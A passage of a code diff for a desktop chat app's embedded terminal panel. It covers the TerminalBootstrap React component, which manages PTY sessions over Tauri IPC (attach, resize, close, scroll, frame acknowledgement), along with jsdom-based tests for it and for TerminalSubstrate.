+  });
+  dom.window.HTMLCanvasElement.prototype.getBoundingClientRect = () => ({
+    bottom: 408,
+    height: 408,
+    left: 0,
+    right: canvasWidth,
+    top: 0,
+    width: canvasWidth,
+    x: 0,
+    y: 0,
+    toJSON() {},
+  });
+  dom.window.HTMLCanvasElement.prototype.getContext = () => ({
+    clearRect() {},
+    fillRect() {},
+    fillStyle: "",
+    fillText() {},
+    font: "",
+    restore() {},
+    save() {},
+    setTransform() {},
+    textBaseline: "",
+  });
+  dom.window.__TAURI_INTERNALS__ = {
+    invoke(command, args) {
+      calls.push({ command, args });
+      if (command === "terminal_attach") {
+        channel = args.onFrame;
+        const sessionNumber = calls.filter(
+          ({ command }) => command === "terminal_attach",
+        ).length;
+        const response = {
+          sessionId: `session-${sessionNumber}`,
+          subscriptionId: `subscription-${sessionNumber}`,
+          viewport: { columns: 100, generation: 0, screenLines: 24 },
+        };
+        return attachResolver
+          ? new Promise((resolve) => {
+              attachResolver = () => resolve(response);
+            })
+          : Promise.resolve(response);
+      }
+      if (command === "terminal_resize") {
+        const value = {
+          columns: args.columns,
+          generation: args.columns,
+          screenLines: args.rows,
+        };
+        if (!deferResizes) return Promise.resolve(value);
+        return new Promise((resolve) => {
+          pendingResizes.push(() => resolve(value));
+        });
+      }
+      if (command === "terminal_close" && deferClose) {
+        return new Promise((resolve) => {
+          closeResolver = resolve;
+        });
+      }
+      return Promise.resolve();
+    },
+    transformCallback(callback) {
+      const id = nextCallback++;
+      callbacks.set(id, callback);
+      return id;
+    },
+    unregisterCallback(id) {
+      callbacks.delete(id);
+    },
+  };
+});
+
+after(() => dom.window.close());
+beforeEach(() => setTerminalPanelMode("docked"));
+afterEach(async () => {
+  const { cleanup } = await import("@testing-library/react");
+  cleanup();
+  setTerminalPanelMode("closed");
+  calls.length = 0;
+  canvasWidth = 840;
+  attachResolver = null;
+  deferResizes = false;
+  deferClose = false;
+  closeResolver = null;
+  pendingResizes.length = 0;
+});
+
+function emit(message, index = 0) {
+  const id = Number(channel.toJSON().slice("__CHANNEL__:".length));
+  callbacks.get(id)({ index, message });
+}
+
+test("mounted bootstrap passes GUI context and ACKs only after consuming a frame", async () => {
+  const { StrictMode, createElement } = await import("react");
+  const { act, render, waitFor } = await import("@testing-library/react");
+  const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
+  const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
+
+  const view = render(
+    createElement(
+      StrictMode,
+      null,
+      createElement(
+        ThemeProvider,
+        null,
+        createElement("div", {
+          className: "buzz-huddle-app-surface",
+          tabIndex: -1,
+        }),
+        createElement(TerminalBootstrap, {
+          channelId: "channel-1",
+          channelName: "general",
+          npub: "npub1owner",
+          relayUrl: "wss://relay.example",
+          threadId: "thread-1",
+        }),
+      ),
+    ),
+  );
+
+  await waitFor(() =>
+    assert.ok(calls.some(({ command }) => command === "terminal_attach")),
+  );
+  const attach = calls.find(({ command }) => command === "terminal_attach");
+  assert.deepEqual(attach.args.request, {
+    channelId: "channel-1",
+    channelName: "general",
+    columns: 100,
+    npub: "npub1owner",
+    pixelHeight: 408,
+    pixelWidth: 840,
+    relayUrl: "wss://relay.example",
+    rows: 24,
+    threadId: "thread-1",
+  });
+
+  const sessionNumber = calls.filter(
+    ({ command }) => command === "terminal_attach",
+  ).length;
+  const frameMessage = {
+    type: "frame",
+    payload: {
+      bracketedPaste: true,
+      cursor: { column: 0, line: 0, visible: true },
+      focusReporting: true,
+      full: true,
+      rows: [],
+      sequence: 7,
+      subscriptionId: `subscription-${sessionNumber}`,
+      viewport: { columns: 100, generation: 0, screenLines: 24 },
+    },
+  };
+  await act(async () => {
+    emit(frameMessage);
+  });
+  await waitFor(() =>
+    assert.ok(calls.some(({ command }) => command === "terminal_ack")),
+  );
+  assert.deepEqual(
+    calls.find(({ command }) => command === "terminal_ack").args,
+    {
+      sequence: 7,
+      sessionId: `session-${sessionNumber}`,
+      subscriptionId: `subscription-${sessionNumber}`,
+    },
+  );
+
+  // IPC redelivery produces a newly deserialized object, so replay a distinct
+  // object to exercise sequence-based deduplication rather than object identity.
+  await act(async () => {
+    emit(structuredClone(frameMessage), 1);
+  });
+  assert.equal(
+    calls.filter(({ command }) => command === "terminal_ack").length,
+    1,
+  );
+  view.unmount();
+});
+
+test("first-open splash waits for the first terminal frame", async () => {
+  const { createElement } = await import("react");
+  const { act, render, waitFor } = await import("@testing-library/react");
+  const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
+  const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
+
+  const view = render(
+    createElement(
+      ThemeProvider,
+      null,
+      createElement(TerminalBootstrap, {
+        channelId: "channel-1",
+        channelName: "general",
+        npub: "npub1owner",
+        relayUrl: "wss://relay.example",
+        threadId: null,
+      }),
+    ),
+  );
+  await waitFor(() =>
+    assert.ok(calls.some(({ command }) => command === "terminal_attach")),
+  );
+  assert.equal(
+    view.container.querySelector(".buzz-terminal-welcome"),
+    null,
+    "the splash must not be consumed while the first PTY frame is pending",
+  );
+
+  await act(async () => {
+    emit({
+      type: "frame",
+      payload: {
+        bracketedPaste: false,
+        cursor: { column: 0, line: 0, visible: true },
+        focusReporting: false,
+        full: true,
+        rows: [],
+        sequence: 1,
+        subscriptionId: "subscription-1",
+        viewport: { columns: 100, generation: 0, screenLines: 24 },
+      },
+    });
+  });
+  await waitFor(() =>
+    assert.ok(view.container.querySelector(".buzz-terminal-welcome")),
+  );
+  view.unmount();
+});
+
+test("resize during in-flight catch-up keeps the newest viewport ready", async () => {
+  const { createElement } = await import("react");
+  const { act, render, waitFor } = await import("@testing-library/react");
+  const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
+  const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
+
+  attachResolver = () => {};
+  deferResizes = true;
+  const view = render(
+    createElement(
+      ThemeProvider,
+      null,
+      createElement("div", {
+        className: "buzz-huddle-app-surface",
+        tabIndex: -1,
+      }),
+      createElement(TerminalBootstrap, {
+        channelId: "channel-1",
+        channelName: "general",
+        npub: "npub1owner",
+        relayUrl: "wss://relay.example",
+        threadId: null,
+      }),
+    ),
+  );
+  await waitFor(() => assert.equal(typeof attachResolver, "function"));
+
+  canvasWidth = 1_008;
+  act(() => resizeCallback());
+  await act(async () => attachResolver());
+  await waitFor(() => assert.equal(pendingResizes.length, 1));
+
+  canvasWidth = 1_680;
+  await act(async () => {
+    resizeCallback();
+  });
+
+  // Resolve newest-first so an unchained catch-up resize would publish stale
+  // readiness after the newer viewport.
+  for (let i = 0; i < 10 && pendingResizes.length > 0; i += 1) {
+    await act(async () => {
+      pendingResizes.pop()();
+      await Promise.resolve();
+    });
+  }
+  await act(async () => {
+    await Promise.resolve();
+  });
+
+  const readyCalls = calls.filter(
+    ({ command }) => command === "terminal_viewport_ready",
+  );
+  assert.ok(readyCalls.length > 0, "vacuity guard: no readiness published");
+  assert.equal(readyCalls.at(-1).args.viewport.columns, 200);
+  view.unmount();
+});
+
+test("opening a tab keeps terminal ownership while its attachment is pending", async () => {
+  const { createElement } = await import("react");
+  const { act, fireEvent, render, waitFor } = await import(
+    "@testing-library/react"
+  );
+  const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
+  const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
+
+  const view = render(
+    createElement(
+      ThemeProvider,
+      null,
+      createElement("div", {
+        className: "buzz-huddle-app-surface",
+        tabIndex: -1,
+      }),
+      createElement(TerminalBootstrap, {
+        channelId: "channel-1",
+        channelName: "general",
+        npub: "npub1owner",
+        relayUrl: "wss://relay.example",
+        threadId: null,
+      }),
+    ),
+  );
+  await waitFor(() =>
+    assert.ok(calls.some(({ command }) => command === "terminal_attach")),
+  );
+  await act(async () => {
+    await Promise.resolve();
+  });
+  const substrate = view.container.querySelector(".buzz-terminal-substrate");
+  await waitFor(() =>
+    assert.equal(substrate.dataset.terminalOwner, "terminal"),
+  );
+
+  attachResolver = () => {};
+  fireEvent.click(view.getByLabelText("New Buzz Term tab"));
+  await waitFor(() => assert.equal(typeof attachResolver, "function"));
+  assert.equal(
+    substrate.dataset.terminalOwner,
+    "terminal",
+    "an attaching session must not force the substrate back to Buzz",
+  );
+  assert.equal(view.getAllByRole("tab").length, 2);
+
+  await act(async () => attachResolver());
+  view.unmount();
+});
+
+test("restoring a channel resizes its PTY to the current dock viewport", async () => {
+  const { createElement } = await import("react");
+  const { act, render, waitFor } = await import("@testing-library/react");
+  const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
+  const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
+
+  const props = (channelId, channelName) => ({
+    channelId,
+    channelName,
+    npub: "npub1owner",
+    relayUrl: "wss://relay.example",
+    threadId: null,
+  });
+  const tree = (channelId, channelName) =>
+    createElement(
+      ThemeProvider,
+      null,
+      createElement(TerminalBootstrap, props(channelId, channelName)),
+    );
+  const view = render(tree("channel-a", "alpha"));
+  await waitFor(() =>
+    assert.ok(
+      calls.some(
+        ({ command, args }) =>
+          command === "terminal_attach" &&
+          args.request.channelId === "channel-a",
+      ),
+    ),
+  );
+
+  view.rerender(tree("channel-b", "beta"));
+  await waitFor(() =>
+    assert.ok(
+      calls.some(
+        ({ command, args }) =>
+          command === "terminal_attach" &&
+          args.request.channelId === "channel-b",
+      ),
+    ),
+  );
+  canvasWidth = 1_680;
+  await act(async () => resizeCallback());
+  await waitFor(() =>
+    assert.ok(
+      calls.some(
+        ({ command, args }) =>
+          command === "terminal_resize" &&
+          args.sessionId === "session-2" &&
+          args.columns === 200,
+      ),
+    ),
+  );
+
+  view.rerender(tree("channel-a", "alpha"));
+  await waitFor(() =>
+    assert.ok(
+      calls.some(
+        ({ command, args }) =>
+          command === "terminal_resize" &&
+          args.sessionId === "session-1" &&
+          args.columns === 200,
+      ),
+    ),
+  );
+  view.unmount();
+});
+
+test("closing a tab while attach is pending closes the eventual session", async () => {
+  const { createElement } = await import("react");
+  const { act, fireEvent, render, waitFor } = await import(
+    "@testing-library/react"
+  );
+  const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
+  const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
+
+  attachResolver = () => {};
+  const view = render(
+    createElement(
+      ThemeProvider,
+      null,
+      createElement(TerminalBootstrap, {
+        channelId: "channel-1",
+        channelName: "general",
+        npub: "npub1owner",
+        relayUrl: "wss://relay.example",
+        threadId: null,
+      }),
+    ),
+  );
+  await waitFor(() => assert.equal(typeof attachResolver, "function"));
+  await waitFor(() =>
+    assert.ok(view.queryByRole("tab", { name: /Terminal 1/ })),
+  );
+
+  await act(async () => {
+    fireEvent.click(view.getByLabelText("Close SHELL"));
+    setTerminalPanelMode("closed");
+  });
+  await waitFor(() => assert.equal(view.queryByRole("tab"), null));
+  assert.equal(
+    calls.some(({ command }) => command === "terminal_close"),
+    false,
+    "a not-yet-attached session cannot be closed by backend id",
+  );
+
+  await act(async () => attachResolver());
+  await waitFor(() =>
+    assert.ok(
+      calls.some(
+        ({ command, args }) =>
+          command === "terminal_close" && args.sessionId === "session-1",
+      ),
+    ),
+  );
+  view.unmount();
+});
+
+test("closing removes the tab before native shutdown resolves", async () => {
+  const { createElement } = await import("react");
+  const { fireEvent, render, waitFor } = await import("@testing-library/react");
+  const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
+  const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
+
+  const view = render(
+    createElement(
+      ThemeProvider,
+      null,
+      createElement("div", {
+        className: "buzz-huddle-app-surface",
+        tabIndex: -1,
+      }),
+      createElement(TerminalBootstrap, {
+        channelId: "channel-1",
+        channelName: "general",
+        npub: "npub1owner",
+        relayUrl: "wss://relay.example",
+        threadId: null,
+      }),
+    ),
+  );
+  await waitFor(() =>
+    assert.ok(calls.some(({ command }) => command === "terminal_attach")),
+  );
+  await waitFor(() =>
+    assert.ok(view.queryByRole("tab", { name: /Terminal 1/ })),
+  );
+
+  deferClose = true;
+  fireEvent.click(view.getByLabelText("Close SHELL"));
+
+  await waitFor(() =>
+    assert.ok(calls.some(({ command }) => command === "terminal_close")),
+  );
+  await waitFor(() => assert.equal(view.queryByRole("tab"), null));
+  assert.equal(typeof closeResolver, "function");
+  closeResolver();
+  view.unmount();
+});
+
+// The wheel-to-IPC path end to end. `TerminalSubstrate` already proves it
+// accumulates pixels into whole cells and `buzz-terminal` already proves which
+// way the engine goes; the seam between them is this file's business, and the
+// thing that can silently rot here is the *sign*. A negation added in the
+// bridge would leave every unit test green and scroll the terminal the wrong
+// way, so this asserts the delta reaches `terminal_scroll` unchanged: positive
+// `deltaY` -- the gesture that scrolls a page toward the bottom of the
+// document -- must arrive positive, and the backend owns the flip.
+test("wheel deltas reach terminal_scroll with the DOM sign intact", async () => {
+  const { createElement } = await import("react");
+  const { act, fireEvent, render, waitFor } = await import(
+    "@testing-library/react"
+  );
+  const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
+  const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
+
+  const view = render(
+    createElement(
+      ThemeProvider,
+      null,
+      createElement("div", {
+        className: "buzz-huddle-app-surface",
+        tabIndex: -1,
+      }),
+      createElement(TerminalBootstrap, {
+        channelId: "channel-1",
+        channelName: "general",
+        npub: "npub1owner",
+        relayUrl: "wss://relay.example",
+        threadId: null,
+      }),
+    ),
+  );
+  await waitFor(() =>
+    assert.ok(calls.some(({ command }) => command === "terminal_attach")),
+  );
+  await act(async () => {
+    await Promise.resolve();
+  });
+  const substrate = view.container.querySelector(".buzz-terminal-substrate");
+
+  // Two cells' worth of pixels (cell height is 17), backwards.
+  await act(async () => {
+    fireEvent.wheel(substrate, { deltaMode: 0, deltaY: -34 });
+  });
+  const scrolls = () =>
+    calls.filter(({ command }) => command === "terminal_scroll");
+  await waitFor(() => assert.equal(scrolls().length, 1));
+  assert.equal(
+    scrolls()[0].args.lines,
+    -2,
+    "a backwards wheel must arrive negative; the backend owns the negation",
+  );
+  assert.equal(scrolls()[0].args.sessionId, "session-1");
+
+  await act(async () => {
+    fireEvent.wheel(substrate, { deltaMode: 0, deltaY: 34 });
+  });
+  await waitFor(() => assert.equal(scrolls().length, 2));
+  assert.equal(scrolls()[1].args.lines, 2, "and forwards must arrive positive");
+
+  view.unmount();
+});
+
+test("a non-channel route closes the panel and ignores the terminal shortcut", async () => {
+  const { createElement } = await import("react");
+  const { act, render, waitFor } = await import("@testing-library/react");
+  const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
+  const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
+  const { getTerminalPanelSnapshotForTests } = await import(
+    "./terminalPanelStore.ts"
+  );
+
+  setTerminalPanelMode("docked");
+  const view = render(
+    createElement(
+      ThemeProvider,
+      null,
+      createElement(TerminalBootstrap, {
+        channelId: null,
+        channelName: null,
+        npub: "npub1owner",
+        relayUrl: "wss://relay.example",
+        threadId: null,
+      }),
+    ),
+  );
+  await waitFor(() =>
+    assert.equal(getTerminalPanelSnapshotForTests().mode, "closed"),
+  );
+
+  const chord = {
+    bubbles: true,
+    code: "KeyJ",
+    metaKey: true,
+  };
+  act(() => {
+    window.dispatchEvent(new KeyboardEvent("keydown", chord));
+    window.dispatchEvent(new KeyboardEvent("keyup", chord));
+  });
+  assert.equal(getTerminalPanelSnapshotForTests().mode, "closed");
+  view.unmount();
+});
diff --git a/desktop/src/features/terminal/TerminalBootstrap.tsx b/desktop/src/features/terminal/TerminalBootstrap.tsx
new file mode 100644
index 0000000000..b86dc89845
--- /dev/null
+++ b/desktop/src/features/terminal/TerminalBootstrap.tsx
@@ -0,0 +1,438 @@
+import * as React from "react";
+import { isTauri } from "@tauri-apps/api/core";
+
+import {
+  type TerminalDelivery,
+  TerminalConnection,
+  type TerminalFrameMessage,
+  type TerminalMessage,
+} from "./terminalClient";
+import {
+  TerminalSubstrate,
+  type TerminalViewportSize,
+} from "./TerminalSubstrate";
+import {
+  setTerminalPanelMode,
+  setTerminalSessionChannels,
+  toggleTerminalPanel,
+  useTerminalPanel,
+} from "./terminalPanelStore";
+
+type TerminalContext = {
+  channelId: string;
+  channelName: string;
+  threadId: string | null;
+  npub: string;
+  relayUrl: string;
+};
+
+type Session = {
+  key: string;
+  connection: TerminalConnection | null;
+  delivery: TerminalDelivery | null;
+  frame: TerminalFrameMessage | undefined;
+  title: string;
+  closing: boolean;
+  context: TerminalContext;
+};
+
+const INITIAL_SIZE: TerminalViewportSize = {
+  columns: 80,
+  rows: 24,
+  pixelWidth: 672,
+  pixelHeight: 408,
+};
+
+function report(error: unknown) {
+  console.error("terminal session failed", error);
+}
+
+export function TerminalBootstrap({
+  channelId,
+  channelName,
+  threadId,
+  npub,
+  relayUrl,
+}: {
+  channelId: string | null;
+  channelName: string | null;
+  threadId: string | null;
+  npub: string | null;
+  relayUrl: string | null;
+}) {
+  const context =
+    channelId && npub && relayUrl
+      ? {
+          channelId,
+          channelName: channelName ?? channelId,
+          threadId,
+          npub,
+          relayUrl,
+        }
+      : null;
+  const contextRef = React.useRef<TerminalContext | null>(context);
+  contextRef.current = context;
+  const mountedRef = React.useRef(true);
+  const sizeRef = React.useRef(INITIAL_SIZE);
+  const resizeChainRef = React.useRef(Promise.resolve());
+  const connectionSizesRef = React.useRef(
+    new WeakMap<TerminalConnection, TerminalViewportSize>(),
+  );
+  const closedSessionKeysRef = React.useRef(new Set<string>());
+  const [sessions, setSessions] = React.useState<Session[]>([]);
+  const [activeKey, setActiveKey] = React.useState<string | null>(null);
+  const [available, setAvailable] = React.useState(() => isTauri());
+  const panel = useTerminalPanel();
+  const [renderedMode, setRenderedMode] = React.useState<
+    "docked" | "maximized"
+  >(panel.mode === "maximized" ? "maximized" : "docked");
+  const [panelVisible, setPanelVisible] = React.useState(
+    panel.mode !== "closed",
+  );
+  const [panelMounted, setPanelMounted] = React.useState(
+    panel.mode !== "closed",
+  );
+  const [splashPending, setSplashPending] = React.useState(true);
+  const [viewportReportingEnabled, setViewportReportingEnabled] =
+    React.useState(panel.mode !== "closed");
+  const previousPanelModeRef = React.useRef(panel.mode);
+  const acknowledgedSequenceRef = React.useRef(new Map<string, number>());
+  const sessionsRef = React.useRef(sessions);
+  sessionsRef.current = sessions;
+
+  React.useEffect(() => {
+    const previousMode = previousPanelModeRef.current;
+    if (previousMode === panel.mode) return;
+    previousPanelModeRef.current = panel.mode;
+    setViewportReportingEnabled(false);
+
+    let firstFrame = 0;
+    let secondFrame = 0;
+    let timeout = 0;
+    if (panel.mode !== "closed") {
+      setRenderedMode(panel.mode);
+      setPanelMounted(true);
+      if (previousMode === "closed") {
+        // Give the collapsed substrate a painted frame before expanding it.
+        // A single rAF can still be batched into the mount commit by React.
+        setPanelVisible(false);
+        firstFrame = window.requestAnimationFrame(() => {
+          secondFrame = window.requestAnimationFrame(() =>
+            setPanelVisible(true),
+          );
+        });
+      } else {
+        setPanelVisible(true);
+      }
+      // Resizing the PTY through every animation frame causes shell reflow and
+      // leaves transient filler rows in the scrollback. Publish only the final
+      // settled viewport.
+      timeout = window.setTimeout(() => setViewportReportingEnabled(true), 200);
+    } else {
+      setPanelVisible(false);
+      timeout = window.setTimeout(() => setPanelMounted(false), 180);
+    }
+    return () => {
+      window.cancelAnimationFrame(firstFrame);
+      window.cancelAnimationFrame(secondFrame);
+      window.clearTimeout(timeout);
+    };
+  }, [panel.mode]);
+
+  React.useEffect(() => {
+    if (!context && panel.mode !== "closed") setTerminalPanelMode("closed");
+  }, [context, panel.mode]);
+
+  React.useEffect(() => {
+    const toggle = (event: KeyboardEvent) => {
+      if (
+        !context ||
+        panel.mode !== "closed" ||
+        event.code !== "KeyJ" ||
+        (!event.metaKey && !event.ctrlKey) ||
+        event.altKey ||
+        event.shiftKey ||
+        event.isComposing
+      )
+        return;
+      event.preventDefault();
+      event.stopImmediatePropagation();
+      if (event.type === "keyup") toggleTerminalPanel();
+    };
+    window.addEventListener("keydown", toggle, true);
+    window.addEventListener("keyup", toggle, true);
+    return () => {
+      window.removeEventListener("keydown", toggle, true);
+      window.removeEventListener("keyup", toggle, true);
+    };
+  }, [context, panel.mode]);
+
+  const fail = React.useCallback((error: unknown) => {
+    report(error);
+    setAvailable(false);
+  }, []);
+
+  const removeSession = React.useCallback((key: string) => {
+    setSessions((current) => current.filter((session) => session.key !== key));
+    setActiveKey((current) => {
+      if (current !== key) return current;
+      const remaining = sessionsRef.current.filter(
+        (session) => session.key !== key,
+      );
+      return remaining.at(-1)?.key ?? null;
+    });
+  }, []);
+
+  const createSession = React.useCallback(() => {
+    const spawnContext = contextRef.current;
+    if (!available || !spawnContext) return;
+    const key = crypto.randomUUID();
+    const initial: Session = {
+      key,
+      connection: null,
+      delivery: null,
+      frame: undefined,
+      title: "SHELL",
+      closing: false,
+      context: spawnContext,
+    };
+    setSessions((current) => [...current, initial]);
+    setActiveKey(key);
+
+    const update = (apply: (session: Session) => Session) => {
+      if (!mountedRef.current) return;
+      setSessions((current) =>
+        current.map((session) =>
+          session.key === key ? apply(session) : session,
+        ),
+      );
+    };
+    const onMessage = (
+      message: Exclude<TerminalMessage, { type: "frame" }>,
+    ) => {
+      if (message.type === "exit") {
+        removeSession(key);
+      } else if (message.type === "title") {
+        update((session) => ({
+          ...session,
+          title: message.payload || "SHELL",
+        }));
+      } else if (message.type === "resetTitle") {
+        update((session) => ({ ...session, title: "SHELL" }));
+      }
+    };
+    const onFrame = (delivery: TerminalDelivery) => {
+      update((session) => ({ ...session, delivery, frame: delivery.frame }));
+    };
+
+    const size = sizeRef.current;
+    void TerminalConnection.attach(
+      {
+        ...spawnContext,
+        threadId: spawnContext.threadId ?? undefined,
+        ...size,
+      },
+      onMessage,
+      onFrame,
+    )
+      .then((connection) => {
+        if (!mountedRef.current) return connection.detach();
+        if (closedSessionKeysRef.current.delete(key)) return connection.close();
+        connectionSizesRef.current.set(connection, size);
+        update((session) => ({ ...session, connection }));
+        if (sizeRef.current !== size) {
+          const currentSize = sizeRef.current;
+          resizeChainRef.current = resizeChainRef.current
+            .then(async () => {
+              const viewport = await connection.resize(
+                currentSize.columns,
+                currentSize.rows,
+                currentSize.pixelWidth,
+                currentSize.pixelHeight,
+              );
+              connectionSizesRef.current.set(connection, currentSize);
+              await connection.viewportReady(viewport);
+            })
+            .catch(fail);
+        }
+      })
+      .catch((error) => {
+        if (closedSessionKeysRef.current.delete(key)) return;
+        removeSession(key);
+        fail(error);
+      });
+  }, [available, fail, removeSession]);
+
+  const contextChannelId = context?.channelId ?? null;
+  const channelSessions = React.useMemo(
+    () =>
+      contextChannelId
+        ? sessions.filter(
+            (session) => session.context.channelId === contextChannelId,
+          )
+        : [],
+    [contextChannelId, sessions],
+  );
+
+  React.useEffect(() => {
+    setTerminalSessionChannels(
+      sessions.map((session) => session.context.channelId),
+    );
+  }, [sessions]);
+
+  React.useEffect(() => {
+    if (panel.mode === "closed" || !available || !context) return;
+    if (channelSessions.length === 0) createSession();
+    else if (!channelSessions.some((session) => session.key === activeKey))
+      setActiveKey(channelSessions.at(-1)?.key ?? null);
+  }, [
+    activeKey,
+    available,
+    channelSessions,
+    context,
+    createSession,
+    panel.mode,
+  ]);
+
+  React.useEffect(() => {
+    mountedRef.current = true;
+    return () => {
+      mountedRef.current = false;
+      for (const session of sessionsRef.current) {
+        void session.connection?.detach().catch(report);
+      }
+    };
+  }, []);
+
+  const active =
+    channelSessions.find((session) => session.key === activeKey) ??
+    channelSessions.at(-1) ??
+    null;
+
+  React.useEffect(() => {
+    const connection = active?.connection;
+    if (!connection) return;
+    const size = sizeRef.current;
+    if (connectionSizesRef.current.get(connection) === size) return;
+    resizeChainRef.current = resizeChainRef.current
+      .then(async () => {
+        const viewport = await connection.resize(
+          size.columns,
+          size.rows,
+          size.pixelWidth,
+          size.pixelHeight,
+        );
+        connectionSizesRef.current.set(connection, size);
+        await connection.viewportReady(viewport);
+      })
+      .catch(fail);
+  }, [active?.connection, fail]);
+
+  const send = (operation: Promise<void> | undefined) => operation?.catch(fail);
+  const handleSplashStarted = React.useCallback(() => {
+    setSplashPending(false);
+  }, []);
+
+  const handleSize = React.useCallback(
+    (size: TerminalViewportSize) => {
+      sizeRef.current = size;
+      const connection = sessionsRef.current.find(
+        (session) => session.key === activeKey,
+      )?.connection;
+      if (!connection) return;
+      resizeChainRef.current = resizeChainRef.current
+        .then(async () => {
+          const viewport = await connection.resize(
+            size.columns,
+            size.rows,
+            size.pixelWidth,
+            size.pixelHeight,
+          );
+          connectionSizesRef.current.set(connection, size);
+          await connection.viewportReady(viewport);
+        })
+        .catch(fail);
+    },
+    [activeKey, fail],
+  );
+
+  if (!panelMounted) return null;
+
+  return (
+    <TerminalSubstrate
+      bracketedPaste={active?.frame?.bracketedPaste ?? false}
+      channelName={active?.context.channelName ?? channelName}
+      enabled={available && Boolean(context)}
+      mode={renderedMode}
+      visible={panelVisible}
+      onHide={() => setTerminalPanelMode("closed")}
+      onModeChange={setTerminalPanelMode}
+      onToggle={toggleTerminalPanel}
+      focusReportingEnabled={active?.frame?.focusReporting ?? false}
+      frame={active?.frame}
+      viewportReportingEnabled={viewportReportingEnabled}
+      showSplash={splashPending && Boolean(active?.frame)}
+      onSplashStarted={handleSplashStarted}
+      sessionFrames={channelSessions.flatMap((session) =>
+        session.frame ? [{ sessionId: session.key, frame: session.frame }] : [],
+      )}
+      onCloseSession={(key) => {
+        setSessions((current) =>
+          current.map((session) =>
+            session.key === key ? { ...session, closing: true } : session,
+          ),
+        );
+        const connection = sessionsRef.current.find(
+          (session) => session.key === key,
+        )?.connection;
+        if (!connection) {
+          closedSessionKeysRef.current.add(key);
+          removeSession(key);
+          return;
+        }
+        void connection
+          .close()
+          .then(() => removeSession(key))
+          .catch(fail);
+      }}
+      onFrameConsumed={(frame) => {
+        const delivery = sessionsRef.current.find(
+          (session) => session.delivery?.frame === frame,
+        )?.delivery;
+        if (!delivery) return;
+        const { sequence, subscriptionId } = delivery.frame;
+        const lastAcknowledged =
+          acknowledgedSequenceRef.current.get(subscriptionId) ?? -1;
+        if (sequence <= lastAcknowledged) return;
+        acknowledgedSequenceRef.current.set(subscriptionId, sequence);
+        delivery.acknowledge().catch((error) => {
+          if (
+            acknowledgedSequenceRef.current.get(subscriptionId) === sequence
+          ) {
+            acknowledgedSequenceRef.current.set(
+              subscriptionId,
+              lastAcknowledged,
+            );
+          }
+          fail(error);
+        });
+      }}
+      onInput={(text) => send(active?.connection?.input(text))}
+      onNewSession={createSession}
+      onScroll={(lines) => send(active?.connection?.scroll(lines))}
+      onSelectSession={setActiveKey}
+      onTerminalFocusChange={(focused) =>
+        send(active?.connection?.focus(focused))
+      }
+      onViewportSize={handleSize}
+      sessions={channelSessions
+        .filter((session) => !session.closing)
+        .map((session) => ({
+          active: session.key === activeKey,
+          closing: session.closing,
+          id: session.key,
+          title: session.title,
+        }))}
+    />
+  );
+}
diff --git a/desktop/src/features/terminal/TerminalSubstrate.test.mjs b/desktop/src/features/terminal/TerminalSubstrate.test.mjs
new file mode 100644
index 0000000000..ef138396b9
--- /dev/null
+++ b/desktop/src/features/terminal/TerminalSubstrate.test.mjs
@@ -0,0 +1,859 @@
+import assert from "node:assert/strict";
+import { after, before, beforeEach, test } from "node:test";
+
+import { JSDOM } from "jsdom";
+
+let act;
+let cleanup;
+let createElement;
+let fireEvent;
+let render;
+let waitFor;
+let ThemeProvider;
+let TerminalSubstrate;
+let reducedMotion = false;
+
+// `pretendToBeVisual` is what gives jsdom requestAnimationFrame. The banner's
+// animation loop needs it; without it the loop silently never runs and every
+// paint assertion below reads as a rendering failure.
+const dom = new JSDOM("<!doctype html><html><body></body></html>", {
+  pretendToBeVisual: true,
+  url: "http://localhost",
+});
+
+before(async () => {
+  Object.assign(globalThis, {
+    document: dom.window.document,
+    HTMLElement: dom.window.HTMLElement,
+    HTMLCanvasElement: dom.window.HTMLCanvasElement,
+    KeyboardEvent: dom.window.KeyboardEvent,
+    window: dom.window,
+    IS_REACT_ACT_ENVIRONMENT: true,
+  });
+  // `navigator` is a getter-only global on Node, and the chord layer branches
+  // on `isMacPlatform()`. Pin it so these assertions describe macOS behaviour
+  // on every host instead of quietly inverting on a Linux runner.
+  Object.defineProperty(dom.window.navigator, "platform", {
+    configurable: true,
+    value: "MacIntel",
+  });
+  Object.defineProperty(globalThis, "navigator", {
+    configurable: true,
+    value: dom.window.navigator,
+    writable: true,
+  });
+  dom.window.matchMedia = () => ({
+    get matches() {
+      return reducedMotion;
+    },
+    addEventListener() {},
+    removeEventListener() {},
+  });
+  dom.window.HTMLElement.prototype.animate = () => ({
+    cancel() {},
+    currentTime: 0,
+    finished: new Promise(() => {}),
+    play() {},
+    playbackRate: 1,
+    reverse() {},
+  });
+  dom.window.HTMLElement.prototype.setPointerCapture = () => {};
+  ({ act, cleanup, fireEvent, render, waitFor } = await import(
+    "@testing-library/react"
+  ));
+  ({ createElement } = await import("react"));
+  ({ ThemeProvider } = await import("@/shared/theme/ThemeProvider"));
+  ({ TerminalSubstrate } = await import("./TerminalSubstrate.tsx"));
+});
+
+after(() => dom.window.close());
+beforeEach(() => {
+  cleanup?.();
+  reducedMotion = false;
+  paintLog.length = 0;
+  dom.window.localStorage.clear();
+  dom.window.HTMLCanvasElement.prototype.getBoundingClientRect = () => ({
+    bottom: 782,
+    height: 782,
+    left: 0,
+    right: 940.8,
+    top: 0,
+    width: 940.8,
+    x: 0,
+    y: 0,
+    toJSON() {},
+  });
+  dom.window.HTMLCanvasElement.prototype.getContext = function () {
+    return paintRecorder(this);
+  };
+});
+
+// The default stub discards everything it is handed, so an assertion made
+// against it cannot distinguish "repainted" from "drew nothing". This records
+// every draw call against the canvas that received it, so the tests below are
+// about commands actually issued and can exclude the banner canvas.
